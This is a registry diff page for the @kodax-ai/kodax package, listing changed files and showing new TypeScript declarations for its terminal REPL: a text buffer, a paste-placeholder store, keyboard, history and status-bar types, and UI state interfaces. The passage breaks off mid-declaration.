@kodax-ai/kodax 0.7.40 → 0.7.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/CHANGELOG.md +57 -0
  2. package/dist/chunks/{chunk-NDNILSTR.js → chunk-5TFLMGER.js} +1 -1
  3. package/dist/chunks/{chunk-FAVPT4P7.js → chunk-6OB4AJOM.js} +1 -1
  4. package/dist/chunks/chunk-HYWVRTFA.js +1233 -0
  5. package/dist/chunks/chunk-SX2IS5JP.js +16 -0
  6. package/dist/chunks/chunk-ZPJPNLBK.js +462 -0
  7. package/dist/chunks/{compaction-config-A7XZ6H5Y.js → compaction-config-LT5PEXPT.js} +1 -1
  8. package/dist/chunks/{construction-bootstrap-OFPUZTXQ.js → construction-bootstrap-HBCWJFHC.js} +1 -1
  9. package/dist/chunks/dist-V3BS2NKB.js +2 -0
  10. package/dist/chunks/{utils-DFMYJUTE.js → utils-FAFUQJ2A.js} +1 -1
  11. package/dist/index.d.ts +232 -7
  12. package/dist/index.js +2 -2
  13. package/dist/kodax_cli.js +922 -912
  14. package/dist/sdk-agent.d.ts +1459 -10
  15. package/dist/sdk-agent.js +1 -1
  16. package/dist/sdk-coding.d.ts +4543 -14
  17. package/dist/sdk-coding.js +1 -1
  18. package/dist/sdk-llm.d.ts +209 -10
  19. package/dist/sdk-repl.d.ts +2694 -13
  20. package/dist/sdk-repl.js +1 -1
  21. package/dist/sdk-skills.d.ts +487 -11
  22. package/dist/types-chunks/bash-prefix-extractor.d-B2iliwdi.d.ts +2432 -0
  23. package/dist/types-chunks/capability.d-BxNgd1-c.d.ts +368 -0
  24. package/dist/types-chunks/cost-tracker.d-C4dMlQuV.d.ts +342 -0
  25. package/dist/types-chunks/history-cleanup.d-q1vAvCss.d.ts +1266 -0
  26. package/dist/types-chunks/instance-discovery.d-DZhp77vb.d.ts +1217 -0
  27. package/dist/types-chunks/resolver.d-BwD6TKz7.d.ts +262 -0
  28. package/dist/types-chunks/storage.d-Bv9T99Qu.d.ts +584 -0
  29. package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
  30. package/package.json +8 -3
  31. package/dist/acp_events.d.ts +0 -109
  32. package/dist/acp_logger.d.ts +0 -20
  33. package/dist/acp_server.d.ts +0 -92
  34. package/dist/chunks/chunk-CLS57NPX.js +0 -460
  35. package/dist/chunks/chunk-QZEDWITG.js +0 -1226
  36. package/dist/chunks/chunk-Z5EBDA6R.js +0 -15
  37. package/dist/chunks/dist-OTUF22DA.js +0 -2
  38. package/dist/cli_commands.d.ts +0 -17
  39. package/dist/cli_option_helpers.d.ts +0 -49
  40. package/dist/cli_option_helpers.test.d.ts +0 -1
  41. package/dist/constructed_cli.d.ts +0 -82
  42. package/dist/constructed_cli.test.d.ts +0 -1
  43. package/dist/kodax_cli.d.ts +0 -7
  44. package/dist/self_modify_cli.d.ts +0 -81
  45. package/dist/self_modify_cli.test.d.ts +0 -9
  46. package/dist/skill_cli.d.ts +0 -15
  47. package/dist/skill_cli.test.d.ts +0 -1
@@ -1,21 +1,2702 @@
1
+ import React$1, { ReactNode } from 'react';
2
+ import { k as PermissionMode } from './types-chunks/storage.d-Bv9T99Qu.js';
3
+ export { B as BUILTIN_COMMANDS, C as Command, a as CommandCallbacks, b as ConfirmResult, c as CurrentConfig, F as FileSessionStorage, I as InkREPLOptions, d as InteractiveContext, e as InteractiveMode, K as KODAX_CONFIG_FILE, f as KODAX_DIR, g as KODAX_SESSIONS_DIR, h as KODAX_VERSION, M as MemorySessionStorage, P as PERMISSION_MODES, i as PREVIEW_MAX_LENGTH, j as PermissionContext, R as RepLOptions, S as SessionData, l as SessionStorage, m as computeConfirmTools, n as createInteractiveContext, o as createMemorySessionStorage, p as executeCommand, q as getGitRoot, r as getProviderList, s as getProviderModel, t as getVersion, u as hydrateProcessEnvFromShell, v as isPermissionMode, w as isProviderConfigured, x as loadConfig, y as normalizePermissionMode, z as parseCommand, A as permissionModeDisplayName, D as prepareRuntimeConfig, E as processSpecialSyntax, G as rateLimitedCall, H as registerConfiguredCustomProviders, J as runInkInteractiveMode, L as runInteractiveMode, N as saveConfig, O as touchContext } from './types-chunks/storage.d-Bv9T99Qu.js';
4
+ import { G as KodaXReasoningMode, o as KodaXMessage } from './types-chunks/capability.d-BxNgd1-c.js';
5
+ import { K as KodaXAgentMode, I as KodaXEvents, aC as ProviderRecoveryEvent, l as BashPrefixExtractor } from './types-chunks/bash-prefix-extractor.d-B2iliwdi.js';
6
+ import { b as QueuedMessage } from './types-chunks/types.d-C5mHR87z.js';
7
+ import './types-chunks/instance-discovery.d-DZhp77vb.js';
8
+ import 'readline';
9
+ import 'child_process';
10
+ import './types-chunks/cost-tracker.d-C4dMlQuV.js';
11
+
1
12
  /**
2
- * SDK subpath entry `@kodax-ai/kodax/repl`
13
+ * TextBuffer - Text buffer management class - 文本缓冲区管理类
3
14
  *
4
- * Re-exports the entire `@kodax-ai/repl` public API full interactive
5
- * terminal experience built on Ink: `runInkInteractiveMode`, configuration
6
- * loaders (`loadConfig` / `saveConfig`), session storage primitives,
7
- * provider resolution, etc.
15
+ * Reference implementation: Gemini CLI text-buffer.ts - 参考实现: Gemini CLI text-buffer.ts
16
+ * Supports multi-line text editing, cursor navigation, and Unicode-safe operations - 支持多行文本编辑,光标导航,Unicode 安全操作
17
+ */
18
+ interface CursorPosition {
19
+ row: number;
20
+ col: number;
21
+ }
22
+ interface VisualCursor$1 {
23
+ row: number;
24
+ col: number;
25
+ }
26
+ interface TextBufferOptions {
27
+ maxHistory?: number;
28
+ }
29
+ declare class TextBuffer {
30
+ private _text;
31
+ private _lines;
32
+ private _cursor;
33
+ private _rememberedCol;
34
+ private _history;
35
+ private _historyIndex;
36
+ private _maxHistory;
37
+ constructor(options?: TextBufferOptions);
38
+ get text(): string;
39
+ get lines(): string[];
40
+ get cursor(): CursorPosition;
41
+ get lineCount(): number;
42
+ get currentLine(): string;
43
+ get isEmpty(): boolean;
44
+ /**
45
+ * Get visual width of current line - 获取当前行的视觉宽度
46
+ */
47
+ get currentLineVisualWidth(): number;
48
+ /**
49
+ * Get visual position of cursor (considering wide characters) - 获取光标的视觉位置(考虑宽字符)
50
+ */
51
+ get visualCursor(): VisualCursor$1;
52
+ /**
53
+ * Get visual width of character at cursor position on current line - 获取当前行在光标位置的字符视觉宽度
54
+ */
55
+ getCharWidthAtCursor(): number;
56
+ /**
57
+ * Convert visual column position to logical column position - 将视觉列位置转换为逻辑列位置
58
+ */
59
+ visualColToLogicalCol(visualCol: number): number;
60
+ /**
61
+ * Move to visual column position - 移动到视觉列位置
62
+ */
63
+ moveToVisualCol(visualCol: number): void;
64
+ /**
65
+ * Set entire text content - 设置整个文本内容
66
+ */
67
+ setText(text: string): void;
68
+ /**
69
+ * Replace a text range and leave the cursor after the replacement.
70
+ */
71
+ replaceRange(start: number, end: number, replacement: string): void;
72
+ /**
73
+ * Insert text at cursor position - 在光标位置插入文本
74
+ */
75
+ insert(text: string, options?: {
76
+ paste?: boolean;
77
+ }): void;
78
+ /**
79
+ * Insert text on current line - 在当前行插入文本
80
+ */
81
+ private _insertText;
82
+ /**
83
+ * Insert newline character - 插入换行符
84
+ */
85
+ newline(): void;
86
+ private _insertNewline;
87
+ /**
88
+ * Delete character before cursor - 删除光标前的字符
89
+ */
90
+ backspace(): void;
91
+ /**
92
+ * Delete character after cursor - 删除光标后的字符
93
+ */
94
+ delete(): void;
95
+ /**
96
+ * Move cursor - 移动光标
97
+ */
98
+ move(direction: "up" | "down" | "left" | "right" | "home" | "end"): void;
99
+ private _moveUp;
100
+ private _moveDown;
101
+ private _moveLeft;
102
+ private _moveRight;
103
+ private _moveHome;
104
+ private _moveEnd;
105
+ /**
106
+ * Clamp column position within current line range using rememberedCol - 限制列位置在当前行范围内,使用 rememberedCol
107
+ */
108
+ private _clampColumn;
109
+ /**
110
+ * Clamp cursor to valid range - 限制光标在有效范围内
111
+ */
112
+ private _clampCursor;
113
+ /**
114
+ * Delete content from cursor to end of line (Ctrl+K) - 删除光标到行尾的内容 (Ctrl+K)
115
+ */
116
+ killLineRight(): void;
117
+ /**
118
+ * Delete content from line start to cursor (Ctrl+U) - 删除行首到光标的内容 (Ctrl+U)
119
+ */
120
+ killLineLeft(): void;
121
+ /**
122
+ * Delete word before cursor (Ctrl+W) - 删除光标前的一个词 (Ctrl+W)
123
+ */
124
+ deleteWordLeft(): void;
125
+ private _saveHistory;
126
+ /**
127
+ * Undo - 撤销
128
+ */
129
+ undo(): boolean;
130
+ /**
131
+ * Redo - 重做
132
+ */
133
+ redo(): boolean;
134
+ private _updateText;
135
+ private _setTextInternal;
136
+ /**
137
+ * Move cursor to an absolute string offset - 将光标移动到文本中的绝对偏移位置
138
+ */
139
+ moveToAbsoluteOffset(offset: number): void;
140
+ /**
141
+ * Clear buffer - 清空缓冲区
142
+ */
143
+ clear(): void;
144
+ /**
145
+ * Get absolute position of cursor in text - 获取光标在文本中的绝对位置
146
+ */
147
+ getAbsoluteOffset(): number;
148
+ /**
149
+ * Check if current line ends with backslash - 检查当前行是否以反斜杠结尾
150
+ */
151
+ isLineContinuation(): boolean;
152
+ /**
153
+ * Move cursor to end of entire text - 将光标移动到整个文本的末尾
154
+ */
155
+ moveToEnd(): void;
156
+ }
157
+
158
+ /**
159
+ * PasteStore — per-session paste content registry + placeholder ref helpers.
160
+ *
161
+ * Design: see docs/KNOWN_ISSUES.md Issue 121 (三层防御:粘贴拦截 / 输入兜底 / 渲染硬上限).
162
+ * Reference implementation: Claude Code src/history.ts + src/utils/pasteStore.ts.
8
163
  *
9
- * Note: this subpath pulls Ink + React as transitive deps via the
10
- * `@kodax-ai/repl` package. SDK consumers who only need configuration
11
- * helpers (no UI) get fine-grained named imports — ESM tree-shaking
12
- * is friendly to the side-effect-free helper exports.
164
+ * Responsibilities (pure / deterministic where possible):
165
+ * - Format / parse `[Pasted text #N +K lines]` and related refs
166
+ * - Allocate monotonic per-session paste IDs
167
+ * - Store / expand paste content in memory
168
+ * - Find placeholder boundaries adjacent to cursor (for atomic edit)
169
+ *
170
+ * Stateful concerns are confined to the `PasteStore` class. Everything else is
171
+ * pure so rendering and controller code can call them safely.
172
+ */
173
+ type PastedContentType = "text" | "image";
174
+ interface PastedContent {
175
+ id: number;
176
+ type: PastedContentType;
177
+ content: string;
178
+ /** Optional sha256 hash — set when backed by on-disk paste-cache */
179
+ contentHash?: string;
180
+ /** Media type for image pastes; unused for text */
181
+ mediaType?: string;
182
+ /** Optional filename hint for image pastes */
183
+ filename?: string;
184
+ }
185
+ /**
186
+ * Session-scoped stateful registry. One instance per REPL session (not per
187
+ * paste). Lives as long as the composer. IDs are monotonic and never recycled
188
+ * so undo/redo never collides with a fresh paste that reused an id.
189
+ */
190
+ declare class PasteStore {
191
+ private readonly contents;
192
+ private nextId;
193
+ /**
194
+ * Register text content, returns the allocated id + the placeholder string
195
+ * to insert into the buffer in place of the raw content.
196
+ */
197
+ registerText(content: string): {
198
+ id: number;
199
+ placeholder: string;
200
+ numLines: number;
201
+ };
202
+ /**
203
+ * Register pre-computed Layer 2 truncation output. Caller is responsible
204
+ * for constructing the truncated text; this just stores the middle chunk.
205
+ */
206
+ registerTruncatedText(content: string): {
207
+ id: number;
208
+ numLines: number;
209
+ };
210
+ /**
211
+ * Adopt a pre-allocated id + content (e.g. when restoring from disk-backed
212
+ * input history).
213
+ */
214
+ adopt(entry: PastedContent): void;
215
+ /** Allocate the NEXT id without registering anything yet. */
216
+ peekNextId(): number;
217
+ get(id: number): PastedContent | undefined;
218
+ /** Expand all placeholders in `input` using this store's contents. */
219
+ expand(input: string): string;
220
+ /**
221
+ * Snapshot the current contents map. Returned map is a COPY — mutation does
222
+ * not leak back. Used by undo buffer snapshots.
223
+ */
224
+ snapshot(): Map<number, PastedContent>;
225
+ /** Replace contents from a snapshot. Used by undo. `nextId` preserved. */
226
+ restore(snapshot: ReadonlyMap<number, PastedContent>): void;
227
+ /**
228
+ * Session-level reset. Called on `/clear`, start-new-session, etc.
229
+ * Does NOT clear on per-submit since Up-arrow navigation re-submits may
230
+ * reuse stored refs.
231
+ */
232
+ reset(): void;
233
+ size(): number;
234
+ /** Export contents for persistence (input history serialization). */
235
+ export(): PastedContent[];
236
+ }
237
+
238
+ /**
239
+ * Keyboard info interface - 键盘信息接口
240
+ * Reference: Gemini CLI Key interface - 参考: Gemini CLI Key interface
241
+ */
242
+ interface KeyInfo {
243
+ name: string;
244
+ sequence: string;
245
+ ctrl: boolean;
246
+ meta: boolean;
247
+ shift: boolean;
248
+ insertable: boolean;
249
+ isPasted?: boolean;
250
+ mouse?: {
251
+ action: "press" | "release" | "drag" | "move" | "wheel";
252
+ button: "left" | "middle" | "right" | "wheelup" | "wheeldown" | "unknown";
253
+ row: number;
254
+ column: number;
255
+ };
256
+ }
257
+
258
+ type PromptEditingMode = "idle" | "typing" | "pasting";
259
+ interface UseTextBufferReturn {
260
+ buffer: TextBuffer;
261
+ text: string;
262
+ cursor: CursorPosition;
263
+ lines: string[];
264
+ isPasting: boolean;
265
+ editingMode: PromptEditingMode;
266
+ /**
267
+ * Issue 121: session-scoped paste registry. Registered paste ids survive
268
+ * submit so Up-arrow input-history recall can still expand them.
269
+ */
270
+ pasteStore: PasteStore;
271
+ resetTransientState: () => void;
272
+ setText: (text: string) => void;
273
+ replaceRange: (start: number, end: number, replacement: string) => void;
274
+ insert: (text: string, options?: {
275
+ paste?: boolean;
276
+ }) => void;
277
+ newline: () => void;
278
+ backspace: () => void;
279
+ delete: () => void;
280
+ move: (direction: "up" | "down" | "left" | "right" | "home" | "end") => void;
281
+ moveToEnd: () => void;
282
+ moveToOffset: (offset: number) => void;
283
+ killLineRight: () => void;
284
+ killLineLeft: () => void;
285
+ deleteWordLeft: () => void;
286
+ clear: () => void;
287
+ undo: () => boolean;
288
+ redo: () => boolean;
289
+ }
290
+ /**
291
+ * Visual Layout Interface - 视觉布局接口
292
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
293
+ */
294
+ interface VisualLayout$1 {
295
+ /** All visual lines for rendering - 所有视觉行(用于渲染) */
296
+ visualLines: string[];
297
+ /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
298
+ logicalToVisualMap: Array<Array<[number, number]>>;
299
+ /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
300
+ visualToLogicalMap: Array<[number, number]>;
301
+ }
302
+ type VisualCursor = [number, number];
303
+ /**
304
+ * An input-history entry. `text` is the display form (may contain
305
+ * `[Pasted text #N]` placeholders). `pastedContents`, when present, carries
306
+ * the stored contents needed to expand those placeholders after recall.
307
+ *
308
+ * Issue 121: pastedContents preserves paste fidelity across Up-arrow and
309
+ * undo. For entries loaded from disk-backed history, contents may carry only
310
+ * `contentHash` until `retrievePastedText` resolves them.
311
+ */
312
+ interface HistoryEntry {
313
+ text: string;
314
+ timestamp: number;
315
+ pastedContents?: PastedContent[];
316
+ }
317
+ interface Completion$1 {
318
+ text: string;
319
+ display: string;
320
+ description?: string;
321
+ type: "file" | "command" | "argument";
322
+ }
323
+ interface Completer {
324
+ canComplete(input: string, cursorPos: number): boolean;
325
+ getCompletions(input: string, cursorPos: number): Promise<Completion$1[]>;
326
+ }
327
+ /**
328
+ * Autocomplete suggestion item - 自动补全建议项
329
+ * For SuggestionsDisplay component - 用于 SuggestionsDisplay 组件
330
+ */
331
+ interface Suggestion {
332
+ id: string;
333
+ text: string;
334
+ displayText?: string;
335
+ description?: string;
336
+ type?: "command" | "file" | "history" | "argument" | "snippet" | "skill";
337
+ icon?: string;
338
+ }
339
+ interface ThemeColors {
340
+ primary: string;
341
+ secondary: string;
342
+ accent: string;
343
+ text: string;
344
+ dim: string;
345
+ thinking: string;
346
+ success: string;
347
+ warning: string;
348
+ error: string;
349
+ info: string;
350
+ hint: string;
351
+ background: string;
352
+ inputBackground: string;
353
+ }
354
+ interface ThemeSymbols {
355
+ prompt: string;
356
+ success: string;
357
+ error: string;
358
+ warning: string;
359
+ spinner: string[];
360
+ }
361
+ interface Theme {
362
+ name: string;
363
+ colors: ThemeColors;
364
+ symbols: ThemeSymbols;
365
+ }
366
+ interface PromptSubmitPayload {
367
+ /**
368
+ * Display form — what the user saw in the input bar. May contain
369
+ * `[Pasted text #N +K lines]` placeholders or `[...Truncated text #N ...]`
370
+ * refs (Issue 121).
371
+ */
372
+ displayText: string;
373
+ /**
374
+ * Fully expanded form — all paste placeholders substituted for their raw
375
+ * stored contents. This is what parseCommand / the agent pipeline consume.
376
+ */
377
+ fullText: string;
378
+ /** Paste contents referenced by displayText — for persistence / recall. */
379
+ pastedContents: PastedContent[];
380
+ }
381
+ interface InputPromptProps {
382
+ onSubmit: (payload: PromptSubmitPayload) => void;
383
+ placeholder?: string;
384
+ prompt?: string;
385
+ focus?: boolean;
386
+ initialValue?: string;
387
+ /** Callback when input text changes - 输入文本变化时的回调 */
388
+ onInputChange?: (text: string) => void;
389
+ /**
390
+ * Called when the ↑ arrow history recall brings back an entry with stored
391
+ * paste contents. Consumer can hydrate a disk-backed paste cache here.
392
+ */
393
+ onHistoryRecall?: (entry: {
394
+ text: string;
395
+ pastedContents: PastedContent[];
396
+ }) => void;
397
+ /**
398
+ * FEATURE_149 Phase 2.1 (v0.7.38) — pop the queued follow-up inputs back
399
+ * into the editor when the user presses ↑ on an empty buffer. Return the
400
+ * joined text to load (queue gets atomically cleared by the consumer), or
401
+ * `undefined` to leave history-recall behavior intact when the queue is
402
+ * empty.
403
+ */
404
+ onPopPendingInputs?: () => string | undefined;
405
+ }
406
+ interface StatusBarProps {
407
+ sessionId: string;
408
+ permissionMode: PermissionMode;
409
+ agentMode: KodaXAgentMode;
410
+ provider: string;
411
+ model: string;
412
+ tokenUsage?: {
413
+ input: number;
414
+ output: number;
415
+ total: number;
416
+ };
417
+ currentTool?: string;
418
+ activeToolCount?: number;
419
+ thinking?: boolean;
420
+ reasoningMode?: KodaXReasoningMode;
421
+ reasoningCapability?: string;
422
+ /** Is context currently compacting - 是否正在压缩上下文 */
423
+ isCompacting?: boolean;
424
+ /** Thinking character count - Issue 068: 显示 thinking 进度 */
425
+ thinkingCharCount?: number;
426
+ /** Whether a thinking stream is currently active */
427
+ isThinkingActive?: boolean;
428
+ /** Tool input character count - Issue 068: 显示 tool 输入进度 */
429
+ toolInputCharCount?: number;
430
+ /** Tool input content (truncated) - Issue 068 Phase 4: 显示参数摘要 */
431
+ toolInputContent?: string;
432
+ /** Current iteration number - Issue 068: 显示迭代进度 */
433
+ currentIteration?: number;
434
+ /** Maximum iterations - Issue 068: 显示迭代进度 */
435
+ maxIter?: number;
436
+ /** Context usage info - Issue 070: 显示上下文使用情况 */
437
+ contextUsage?: {
438
+ /** Current token count in context */
439
+ currentTokens: number;
440
+ /** Context window size (effective contextWindow) */
441
+ contextWindow: number;
442
+ /** Compaction trigger percentage (0-100) */
443
+ triggerPercent: number;
444
+ };
445
+ /** Whether current busy/thinking status should be visible in the bar */
446
+ showBusyStatus?: boolean;
447
+ managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "completed";
448
+ managedHarnessProfile?: string;
449
+ managedWorkerTitle?: string;
450
+ managedRound?: number;
451
+ managedMaxRounds?: number;
452
+ managedGlobalWorkBudget?: number;
453
+ managedBudgetUsage?: number;
454
+ managedBudgetApprovalRequired?: boolean;
455
+ /**
456
+ * v0.7.38 FEATURE_156 — true when the runner-driven outer loop is
457
+ * parked in `waitForWakeEvent` (idle-yield from FEATURE_155). The
458
+ * status bar renders this as "{role} - waiting for N children"
459
+ * instead of falling back to the last role-emit label, so the user
460
+ * can tell the spinner is actively waiting on something concrete.
461
+ * Consumers MUST branch on `=== true` (undefined transitions out).
462
+ */
463
+ managedIdleWaiting?: boolean;
464
+ /** v0.7.38 FEATURE_156 — child count surfaced in the idle-wait label. */
465
+ managedIdleWaitingPendingCount?: number;
466
+ /**
467
+ * FEATURE_092 phase 2b.8: classifier engine indicator. Only renders when
468
+ * permissionMode is in the auto family. `'llm'` shows green `auto[LLM]`
469
+ * (healthy), `'rules'` shows yellow `auto[RULES]` (downgraded — every
470
+ * non-Tier-1 tool call escalates to user confirm).
471
+ */
472
+ autoModeEngine?: 'llm' | 'rules';
473
+ }
474
+ /**
475
+ * @deprecated Use MessageListProps from components/MessageList.js instead
476
+ */
477
+ interface LegacyMessageListProps {
478
+ messages: Message[];
479
+ isLoading?: boolean;
480
+ }
481
+ interface Message {
482
+ id: string;
483
+ role: "user" | "assistant" | "system";
484
+ content: string;
485
+ timestamp: number;
486
+ }
487
+ interface AppState {
488
+ messages: Message[];
489
+ isLoading: boolean;
490
+ error?: string;
491
+ sessionId: string;
492
+ }
493
+ interface AppProps {
494
+ model: string;
495
+ provider: string;
496
+ onSubmit: (input: string) => Promise<void>;
497
+ permissionMode?: PermissionMode;
498
+ agentMode?: KodaXAgentMode;
499
+ }
500
+ /**
501
+ * Streaming response state enum - 流式响应状态枚举
502
+ * Reference: Gemini CLI StreamingContext.tsx - 参考: Gemini CLI StreamingContext.tsx
503
+ */
504
+ declare enum StreamingState {
505
+ Idle = "idle",
506
+ Responding = "responding",
507
+ WaitingForConfirmation = "waiting_for_confirmation"
508
+ }
509
+ /**
510
+ * Tool call status enum - 工具调用状态枚举
511
+ * Reference: Gemini CLI useToolScheduler - 参考: Gemini CLI useToolScheduler
512
+ */
513
+ declare enum ToolCallStatus {
514
+ Scheduled = "scheduled",
515
+ Validating = "validating",
516
+ AwaitingApproval = "awaiting_approval",
517
+ Executing = "executing",
518
+ Success = "success",
519
+ Error = "error",
520
+ Cancelled = "cancelled"
521
+ }
522
+ /**
523
+ * Tool call status icons - 工具调用状态图标
524
+ */
525
+ declare const TOOL_STATUS_ICONS: Record<ToolCallStatus, string>;
526
+ /**
527
+ * Single tool call - 单个工具调用
528
+ */
529
+ interface ToolCall {
530
+ id: string;
531
+ name: string;
532
+ status: ToolCallStatus;
533
+ input?: Record<string, unknown>;
534
+ preview?: string;
535
+ output?: unknown;
536
+ error?: string;
537
+ progress?: number;
538
+ /** Real-time progress lines displayed inside the tool block during execution. */
539
+ progressLines?: string[];
540
+ startTime: number;
541
+ endTime?: number;
542
+ }
543
+ /**
544
+ * History item type - 历史项类型
545
+ * Reference: Gemini CLI HistoryItem - 参考: Gemini CLI HistoryItem
546
+ */
547
+ type HistoryItemType = "user" | "assistant" | "system" | "tool_group" | "thinking" | "error" | "event" | "info" | "hint";
548
+ /**
549
+ * History item base class - 历史项基类
550
+ */
551
+ interface HistoryItemBase {
552
+ id: string;
553
+ type: HistoryItemType;
554
+ timestamp: number;
555
+ }
556
+ /**
557
+ * User message - 用户消息
558
+ */
559
+ interface HistoryItemUser extends HistoryItemBase {
560
+ type: "user";
561
+ text: string;
562
+ }
563
+ /**
564
+ * Assistant message - 助手消息
565
+ */
566
+ interface HistoryItemAssistant extends HistoryItemBase {
567
+ type: "assistant";
568
+ text: string;
569
+ compactText?: string;
570
+ isStreaming?: boolean;
571
+ }
572
+ /**
573
+ * System message - 系统消息
574
+ */
575
+ interface HistoryItemSystem extends HistoryItemBase {
576
+ type: "system";
577
+ text: string;
578
+ }
579
+ /**
580
+ * Tool group - 工具组
581
+ */
582
+ interface HistoryItemToolGroup extends HistoryItemBase {
583
+ type: "tool_group";
584
+ tools: ToolCall[];
585
+ }
586
+ /**
587
+ * Thinking content - 思考内容
588
+ */
589
+ interface HistoryItemThinking extends HistoryItemBase {
590
+ type: "thinking";
591
+ text: string;
592
+ compactText?: string;
593
+ }
594
+ /**
595
+ * Error message - 错误消息
596
+ */
597
+ interface HistoryItemError extends HistoryItemBase {
598
+ type: "error";
599
+ text: string;
600
+ }
601
+ interface HistoryItemEvent extends HistoryItemBase {
602
+ type: "event";
603
+ text: string;
604
+ icon?: string;
605
+ compactText?: string;
606
+ }
607
+ /**
608
+ * Info message - 信息消息
609
+ */
610
+ interface HistoryItemInfo extends HistoryItemBase {
611
+ type: "info";
612
+ text: string;
613
+ icon?: string;
614
+ compactText?: string;
615
+ /**
616
+ * When true, drop the default bottom margin so consecutive info items
617
+ * (e.g. a burst of repo-intelligence trace stages emitted within one
618
+ * turn) visually stack as a block instead of each getting a blank
619
+ * spacer line. Non-tight items following a tight run restore normal
620
+ * spacing on their own via their own `marginBottom`.
621
+ */
622
+ tightSpacing?: boolean;
623
+ }
624
+ /**
625
+ * Hint message - 提示消息
626
+ */
627
+ interface HistoryItemHint extends HistoryItemBase {
628
+ type: "hint";
629
+ text: string;
630
+ }
631
+ /**
632
+ * Union type of all history items - 所有历史项的联合类型
633
+ */
634
+ type HistoryItem = HistoryItemUser | HistoryItemAssistant | HistoryItemSystem | HistoryItemToolGroup | HistoryItemThinking | HistoryItemError | HistoryItemEvent | HistoryItemInfo | HistoryItemHint;
635
+ /**
636
+ * Creatable history item types (with text property) - 可创建的历史项类型(带 text 属性)
637
+ * Used for addHistoryItem function parameter type - 用于 addHistoryItem 等函数的参数类型
638
+ */
639
+ type CreatableHistoryItem = Omit<HistoryItemUser, "id" | "timestamp"> | Omit<HistoryItemAssistant, "id" | "timestamp"> | Omit<HistoryItemSystem, "id" | "timestamp"> | Omit<HistoryItemThinking, "id" | "timestamp"> | Omit<HistoryItemError, "id" | "timestamp"> | Omit<HistoryItemEvent, "id" | "timestamp"> | Omit<HistoryItemInfo, "id" | "timestamp"> | Omit<HistoryItemHint, "id" | "timestamp"> | Omit<HistoryItemToolGroup, "id" | "timestamp">;
640
+ /**
641
+ * UI global state interface - UI 全局状态接口
642
+ * Reference: Gemini CLI UIStateContext - 参考: Gemini CLI UIStateContext
643
+ */
644
+ interface UIState {
645
+ streamingState: StreamingState;
646
+ currentResponse: string;
647
+ history: HistoryItem[];
648
+ pendingToolCalls: ToolCall[];
649
+ sessionId: string;
650
+ provider: string;
651
+ model: string;
652
+ tokenUsage?: {
653
+ input: number;
654
+ output: number;
655
+ total: number;
656
+ };
657
+ error?: string;
658
+ isLoading: boolean;
659
+ }
660
+ /**
661
+ * UI actions interface - UI 操作接口
662
+ */
663
+ interface UIActions {
664
+ setStreamingState: (state: StreamingState) => void;
665
+ appendToResponse: (text: string) => void;
666
+ clearResponse: () => void;
667
+ addHistoryItem: (item: CreatableHistoryItem) => void;
668
+ updateHistoryItem: (id: string, updates: Partial<HistoryItem>) => void;
669
+ clearHistory: () => void;
670
+ addToolCall: (tool: Omit<ToolCall, "id" | "startTime">) => string;
671
+ updateToolCall: (id: string, updates: Partial<ToolCall>) => void;
672
+ clearToolCalls: () => void;
673
+ setSessionId: (id: string) => void;
674
+ setProvider: (provider: string) => void;
675
+ setModel: (model: string) => void;
676
+ setTokenUsage: (usage: UIState["tokenUsage"]) => void;
677
+ setError: (error: string | undefined) => void;
678
+ setLoading: (loading: boolean) => void;
679
+ }
680
+ /**
681
+ * Keyboard event handler priority - 键盘事件处理器优先级
682
+ * Reference: Gemini CLI KeypressContext - 参考: Gemini CLI KeypressContext
683
+ */
684
+ declare enum KeypressHandlerPriority {
685
+ Low = -100,
686
+ Normal = 0,
687
+ High = 100,
688
+ Critical = 200
689
+ }
690
+ /**
691
+ * Keyboard event handler - 键盘事件处理器
692
+ */
693
+ type KeypressHandler = (event: KeyInfo) => boolean | void;
694
+ /**
695
+ * Keyboard event - 键盘事件
696
+ */
697
+ interface KeypressEvent {
698
+ key: KeyInfo;
699
+ handled: boolean;
700
+ }
701
+ /**
702
+ * Default UI state - 默认 UI 状态
703
+ */
704
+ declare const DEFAULT_UI_STATE: UIState;
705
+
706
+ /**
707
+ * App - KodaX CLI root component.
708
+ *
709
+ * Integrates all UI components and manages application state.
710
+ */
711
+
712
+ declare const App: React$1.FC<AppProps>;
713
+ /**
714
+ * Simplified App for testing only.
715
+ */
716
+ declare const SimpleApp: React$1.FC<{
717
+ model: string;
718
+ provider: string;
719
+ onInput: (input: string) => void;
720
+ }>;
721
+ interface AppHandle {
722
+ addMessage: (role: Message["role"], content: string) => void;
723
+ updateTokenUsage: (input: number, output: number) => void;
724
+ setTool: (tool: string | undefined) => void;
725
+ }
726
+
727
+ /**
728
+ * KodaX CLI Event Handler - CLI 事件处理器
729
+ *
730
+ * Spinner animation and event handling for CLI mode - 用于 CLI 模式的 Spinner 动画和事件处理
731
+ */
732
+
733
+ declare function createCliEvents(showSessionId?: boolean): KodaXEvents;
734
+
735
+ /**
736
+ * JSONL event handler for non-interactive CLI mode.
737
+ *
738
+ * stdout carries newline-delimited JSON events only.
739
+ * stderr carries structured error diagnostics.
740
+ */
741
+
742
+ type JsonWritable = Pick<NodeJS.WritableStream, 'write'>;
743
+ interface JsonEventOutputOptions {
744
+ stdout?: JsonWritable;
745
+ stderr?: JsonWritable;
746
+ }
747
+ declare function createJsonEvents(options?: JsonEventOutputOptions): KodaXEvents;
748
+
749
+ /**
750
+ * Generate unique ID - 生成唯一 ID
751
+ */
752
+ declare function generateId(): string;
753
+ /**
754
+ * Create history item with auto-generated ID and timestamp - 创建带自动生成 ID 和时间戳的历史项
755
+ */
756
+ declare function createHistoryItem(item: CreatableHistoryItem): HistoryItem;
757
+ /**
758
+ * Create tool call with auto-generated ID and start time - 创建带自动生成 ID 和开始时间的工具调用
759
+ */
760
+ declare function createToolCall(tool: Omit<ToolCall, "id" | "startTime">): ToolCall;
761
+ interface UIStateProviderProps {
762
+ children: ReactNode;
763
+ initialState?: Partial<UIState>;
764
+ }
765
+ declare function UIStateProvider({ children, initialState, }: UIStateProviderProps): React$1.ReactElement;
766
+ /**
767
+ * Get UI state - 获取 UI 状态
768
+ */
769
